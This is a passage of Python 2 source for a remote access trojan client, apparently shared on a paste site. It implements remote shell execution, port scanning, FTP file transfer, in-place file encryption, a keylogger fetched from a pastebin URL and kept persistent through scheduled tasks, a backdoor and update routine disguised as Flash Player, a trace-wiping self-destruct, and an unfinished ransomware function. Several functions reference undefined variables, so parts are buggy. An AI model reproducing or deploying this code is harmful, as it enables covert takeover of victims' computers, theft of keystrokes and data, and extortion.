  709. elif cmd == 'decrypt':
  710. results = self.decrypt_file(action)
  711.  
  712. elif cmd == 'execute':
  713. results = self.execute(data)
  714.  
  715. elif cmd == 'ransom':
  716. results = self.ransom(action)
  717.  
  718. else:
  719. process = subprocess.Popen(data.split(), 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True)
  720. results = process.communicate()
  721.  
  722. if results:
  723. with open(self.files.get('log'), 'a') as fp:
  724. fp.write(results)
  725. self._send(results, method=cmd)
  726.  
  727. except Exception as e:
  728. return "Loop error: {}".format(str(e))
  729.  
  730. def get_info(self):
  731. try:
  732. self._send(self.info)
  733. return
  734. except Exception as e:
  735. if self.debug:
  736. with self.lock:
  737. print "Info error: {}".format(str(e))
  738. return
  739.  
  740. def scan(self, host):
  741. """Port scanner"""
  742. if not utils.is_ipv4_address(host):
  743. return 'Error: Invalid IP address'
  744. self.port_scans.update({str(host):{'ports':{}}})
  745. for port in [21,22,23,25,53,80,110,111,135,139,143,179,443,445,514,993,995,1433,1434,1723,3306,3389,8000,8008,8443,8888]:
  746. t = Thread(target=self._scan, args=(host,port))
  747. t.daemon = True
  748. t.start()
  749. t.join()
  750. return
  751.  
  752. def upload(self, host=None, user=None, password=None, local_file=None, remote_file=None):
  753. if len([i for i in ['host','user','password','local_file','remote_file'] if not kwargs.get(i)]):
  754. return "Error: missing required argument(s): {}".format(', '.join([i for i in ['host','user','password','local_file','remote_file'] if not kwargs.get(i)]))
  755. try:
  756. server = FTP(host, user, password)
  757. server.storbinary('STOR ' + remote_file, open(local_file,'rb'))
  758. return 'Upload was sucessful. File saved to {}'.format(remote_file)
  759. except Exception as e:
  760. return 'Upload failed with error: {}'.format(str(e))
  761.  
  762. def download(self, host=None, user=None, password=None, local_file=None, remote_file=None):
  763. if len([i for i in ['host','user','password','local_file','remote_file'] if not kwargs.get(i)]):
  764. return "Error: missing required argument(s): {}".format(', '.join([i for i in ['host','user','password','local_file','remote_file'] if not kwargs.get(i)]))
  765. try:
  766. server = FTP(host, user, password)
  767. server.storbinary('RETR ' + remote_file, file(local_file,'wb').write)
  768. return 'Download was sucessful. File saved to {}'.format(os.path.abspath(local_file))
  769. except Exception as e:
  770. return 'Download failed with error: {}'.format(str(e))
  771.  
  772.  
  773. def encrypt_file(self, filename):
  774. """Encrypt a file on client host machine"""
  775. if not os.path.isfile(filename):
  776. return 'Error: ' + filename + ' does not exist in the host filesystem'
  777. filename = os.path.abspath(filename)
  778. try:
  779. with file(filename, 'r') as fp:
  780. with file(filename, 'w') as fc:
  781. fc.write(self._encrypt(fp.read()))
  782. return True
  783. except Exception as e:
  784. if self.debug:
  785. with self.lock:
  786. print "File encryption returned an error: {}".format(str(e))
  787. return False
  788.  
  789. def decrypt_file(self, filename):
  790. """Decrypt a file encrypted by the client on the host machine:"""
  791. if not os.path.isfile(filename):
  792. return 'Error: ' + filename + ' does not exist in the host filesystem'
  793. try:
  794. with file(filename, 'r') as fp:
  795. data = fp.read()
  796. with file(filename, 'w') as fc:
  797. fc.write(self._decrypt(data))
  798. return True
  799. except Exception as e:
  800. if self.debug:
  801. with self.lock:
  802. print "File decryption returned an error: {}".format(str(e))
  803. return False
  804.  
  805. def cat(self, file_path):
  806. """Emulates the UNIX command for Windows compatability with Windows"""
  807. if os.path.isfile(file_path):
  808. try:
  809. with open(file_path) as f:
  810. return f.read(4000)
  811. except IOError:
  812. return 'Error: Permission denied.'
  813. else:
  814. return 'Error: File not found.'
  815.  
  816. def run_cmd(self, *cmd):
  817. """Run a terminal command + arguments."""
  818. if not cmd:
  819. return
  820. p = subprocess.Popen(cmd, 0, None, None, subprocess.PIPE, subprocess.PIPE, shell=True)
  821. _, __ = p.communicate()
  822. return
  823.  
  824. def execute(self, filename):
  825. """Run a program in a new process without waiting for process to complete. Similar to double-clicking an application icon."""
  826. try:
  827. p = os.startfile(filename)
  828. return
  829. except Exception as e:
  830. return "Execution error: {}".format(str(e))
  831.  
  832. def ls(self, path='.'):
  833. """Emulates the UNIX command for Windows compatability with Windows"""
  834. if os.path.exists(path):
  835. try:
  836. return '\n'.join(os.listdir(path))
  837. except OSError:
  838. return 'Error: Permission denied.'
  839. else:
  840. return 'Error: Path not found.'
  841.  
  842. def pwd(self):
  843. """Emulates the UNIX command for Windows compatability with Windows"""
  844. return os.getcwd()
  845.  
  846. def destruct(self):
  847. """Purges host machine of any trace of the client (hidden files, registry keys, backdoors, etc.)"""
  848. # Backdoors
  849. for bd in self.backdoors:
  850. try:
  851. self._remove_backdoors()
  852. except Exception as z:
  853. if self.debug:
  854. with self.lock:
  855. print "Backdoor-destruct error: {}".format(str(z))
  856. # Files
  857. for k in self.files.keys():
  858. for f in self.files.get(k):
  859. if os.path.isfile(f):
  860. try:
  861. os.remove(f)
  862. except Exception as e:
  863. if self.debug:
  864. with self.lock:
  865. print "File-destruct error: {}".format(str(e))
  866. # Hidden files
  867. for h in self.persistence.get('hidden files'):
  868. try:
  869. os.remove(h)
  870. except Exception as c:
  871. if self.debug:
  872. with self.lock:
  873. print "Hidden file destruct error: {}".format(str(c))
  874. # Registry keys
  875. if os.name == 'nt':
  876. try:
  877. self._purge_regkeys()
  878. except Exception as v:
  879. if self.debug:
  880. with self.lock:
  881. print "Registry key destruct error: {}".format(str(v))
  882. # Scheduled tasks
  883. if os.name == 'nt':
  884. try:
  885. self._unschedule_tasks()
  886. except Exception as sc:
  887. if self.debug:
  888. with self.lock:
  889. print "Schedule tasks destruct error: {}".format(str(sc))
  890. # Launch agents
  891. if sys.platform.startswith('darwin'):
  892. for agent in self.persistence.get('launch agents'):
  893. try:
  894. os.remove(agent)
  895. except Exception as xc:
  896. if self.debug:
  897. with self.lock:
  898. print "Launch agent destruct error: {}".format(str(x))
  899. # Cache
  900. for i in self.files.get('cache'):
  901. if os.path.isfile(i):
  902. try:
  903. os.remove(i)
  904. except Exception as t:
  905. if self.debug:
  906. with self.lock:
  907. print "Cache file destruct error: {}".format(str(t))
  908.  
  909. elif os.path.isdir(i):
  910. if not os.name=='nt':
  911. try:
  912. r = subprocess.check_output(['rm','-rf',i],shell=True)
  913. except Exception as er:
  914. if self.debug:
  915. with self.lock:
  916. print "Posix directory tree directory destruct error: {}".format(str(er))
  917. else:
  918. try:
  919. r = subprocess.Popen(['rmdir','/s','/q',i],0,None,subprocess.PIPE,subprocess.PIPE,subprocess.PIPE,shell=True)
  920. except Exception as p:
  921. if self.debug:
  922. with self.lock:
  923. print "Windows directory tree destruct error: {}".format(str(p))
  924. # Client
  925. try:
  926. os.remove(sys.argv[0])
  927. except Exception as ere:
  928. if self.debug:
  929. with self.lock:
  930. print 'Self-destruct error'
  931. exit()
  932.  
  933. def wget(self, url, path=None):
  934. """Emulates the UNIX command for Windows compatability with Windows"""
  935. if not url.startswith('http'):
  936. return 'Error: URL must begin with http:// or https:// '
  937. try:
  938. fp, _ = urlretrieve(url, path)
  939. return fp
  940. except Exception as e:
  941. if self.debug:
  942. with self.lock:
  943. print "Wget download for URL '{}' failed with error: {}".format(str(e))
  944. if path:
  945. print path
  946.  
  947. def keylogger(self, *args):
  948. """Drops a persistent, stealthy keylogger on client host machine.
  949. Commands: start, run, stop, status"""
  950. if action not in ("start","status","stop"):
  951. return "usage: keylogger <start/status/stop>"
  952. if os.name == 'nt':
  953. if 'start' in args:
  954. if not len(self.files.get('keylogger')):
  955. kname = self._temp()
  956. bname = self._temp()
  957. path = os.environ.get('TEMP', failobj=os.getcwd())
  958. kfile = path + os.sep + kname + '.py'
  959. bfile = path + os.sep + bname + '.bat'
  960. interval = 'hourly'
  961. batch = "@ECHO OFF\r\nstart /D __PATH__ /B __KNAME__".replace('__PATH__',path).replace('__KNAME__',kname)
  962. try:
  963. kl, _ = urlretrieve('http://pastebin.com/raw/yk6tzNL7', kfile)
  964. self.files.update({'keylogger':kl})
  965.  
  966. with file(bfile, 'w') as f:
  967. f.write(batch)
  968.  
  969. self.files.get('cache').append(bfile)
  970. create = os.popen('schtasks /CREATE /TN ' + bname + ' /TR ' + bfile + ' /SC ' + interval).read()
  971.  
  972. if 'SUCCESS' in create:
  973. self.persistence.get('scheduled tasks').append(bname)
  974. t = Timer(5.0, target=self._run_keylogger)
  975. t.daemon = True
  976. t.start()
  977. return 'Keylogger is now running'
  978. else:
  979. return create
  980.  
  981. except Exception as x:
  982. return 'Start keylogger failed with error: {}'.format(str(x))
  983.  
  984. elif 'stop' in args:
  985. try:
  986. d = os.popen('schtasks /delete /tn ' + self.files.get('keylogger') + ' /f').read()
  987. os.remove(self.files.get('keylogger'))
  988. return d
  989. except Exception as e:
  990. return 'Stop keylogger failed with error: {}'.format(str(e))
  991.  
  992. elif 'status' in args:
  993. try:
  994. status = os.popen('schtasks /query /tn ' + self.files.get('keylogger')).read()
  995. return status
  996. except Exception as z:
  997. return "Status check keylogger failed with error: {}".format(str(e))
  998. else:
  999. return "Invalid command"
  1000. else:
  1001. ans = "Mac OS X not yet supported for remote logging." if sys.platform.startswith('darwin') else "{}-based platforms not yet supported for remote logging".format(sys.platform.title())
  1002. return ans
  1003.  
  1004. def lan(self):
  1005. """Display map of local area network"""
  1006. return self._lan(mode=True)
  1007.  
  1008. def backdoor(self, app='FlashPlayer'):
  1009. """Embeds hidden backdoors into the host machine filesystem"""
  1010. try:
  1011. t = Thread(target=self._backdoor, kwargs={'appname':app})
  1012. t.daemon = True
  1013. t.start()
  1014. t.join()
  1015. return str('\nPersistent backdoor saved to {}\nListening for incoming connection on port {}\n'.format(str(self.backdoors.values()), str(self.listener_port)))
  1016. except Exception as e:
  1017. if self.debug:
  1018. with self.lock:
  1019. print "Backdoor commmand failed with error: {}".format(str(e))
  1020. return
  1021.  
  1022. def update(self, **kwargs):
  1023. """Update the eggplant"""
  1024. n = kwargs.get('name') if kwargs.has_key('name') else 'flashplayerinstaller'
  1025. v = kwargs.get('version') if kwargs.has_key('version') else '27.0.0.170'
  1026. if kwargs.has_key('executable'):
  1027. try:
  1028. _ = self._update(n, kwargs.get('executable'), v)
  1029. except Exception as e:
  1030. if self.debug:
  1031. with self.lock:
  1032. print "Update failed with error: {}".format(str(e))
  1033. return
  1034. else:
  1035. try:
  1036. if os.name == 'nt':
  1037. _ = self._update(n, n+'.exe', v)
  1038. elif sys.platform.startswith('darwin'):
  1039. _ = self._update(n, n, v)
  1040. else:
  1041. _ = self._update(n, n+'.sh', v)
  1042. except Exception as e:
  1043. if self.debug:
  1044. with self.lock:
  1045. print "Backdoor commmand failed with error: {}".format(str(e))
  1046. return
  1047.  
  1048. def query(self, query):
  1049. """Send prepared queries"""
  1050. try:
  1051. queries = {'fname':"SELECT self.fname FROM clients WHERE uid='{}'".format(self.mac),
  1052. 'fpath':"UPDATE clients SET fpath=concat(fpath,'{}'), WHERE uid='{}'".format(self.fname, self.mac),
  1053. 'lan':"UPDATE clients SET local_network='{}' WHERE uid='{}'".format(self.local_network, self.mac)}
  1054. output = str()
  1055. if queries.has_key(query):
  1056. stmt = queries.get(query)
  1057. t = Thread(target=self._query, args=(stmt,), kwargs={'method':str(query)})
  1058. t.daemon = True
  1059. t.start()
  1060. else:
  1061. t = Thread(target=self._query, args=(query,), kwargs={'method':'QUERY'})
  1062. t.daemon = True
  1063. t.start()
  1064. t.join()
  1065. try:
  1066. output = self.q.get()
  1067. except:
  1068. output = 'Query completed - returned no output'
  1069. return output
  1070. except Exception as e:
  1071. return "Query error: {}".format(str(e))
  1072.  
  1073. def ransom(self, mode=None):
  1074. """Ransom client data"""
  1075. if mode:
  1076. return 'coming soon'
  1077. else:
  1078. return 'still coming soon'
  1079. if os.path.exists(path):
  1080. tree = os.walk(os.path.abspath(path))
  1081. while True:
  1082. try:
  1083. self.targets.extend([os.path.abspath(i) for i in next(tree)[2]])
  1084. except StopIteration:
  1085. break
  1086. max_wait = float(len(self.targets)/10)
  1087. for target in self.targets:
  1088. self.q.put(target)
  1089. t_count = int(max_wait/10.0) if int(max_wait/10.0) < 101 else 100
  1090. for x in xrange(0,t_count):
  1091. t = Thread(target=self._ransom_threader)
  1092. t.daemon = True
  1093. t.start()
  1094. t.join(timeout=max_wait)
  1095. return '\n'.join([i for i in set(self.ransomed)])
  1096.  
  1097. ### end eggplant factory object ###
Add Comment
Please, Sign In to add comment